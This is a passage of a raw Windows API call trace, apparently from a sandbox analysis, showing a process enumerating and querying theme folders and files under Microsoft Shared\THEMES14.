ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.436] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.436] GetLastError () returned 0x12 [0063.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb05f0) returned 1 [0063.437] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb04e8) returned 1 [0063.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.437] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0063.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.462] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb2490 [0063.462] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb2490, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb2490, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb2490) returned 1 [0063.462] NtClose (Handle=0x184) returned 0x0 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0063.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.462] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.462] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb05f0 [0063.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafa60 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1778 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafa80 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1880 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x940) returned 0xfaa438 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb1b88) returned 1 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafaa0 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1988 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafac0 [0063.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1ba0 [0063.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.464] GetLastError () returned 0x12 [0063.464] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0063.464] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0063.464] GetLastError () returned 0x12 [0063.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb04e8) returned 1 [0063.464] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0063.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb05f0) returned 1 [0063.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0063.464] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0063.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0063.471] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb3b88 [0063.471] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb3b88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb3b88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3b88) returned 1 [0063.471] NtClose (Handle=0x190) returned 0x0 [0063.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.471] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0063.471] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.471] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafae0 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1ca8 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafb00 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1db0 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafb20 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1eb8 [0063.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.472] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0063.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafb40 [0063.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb1fc0 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: 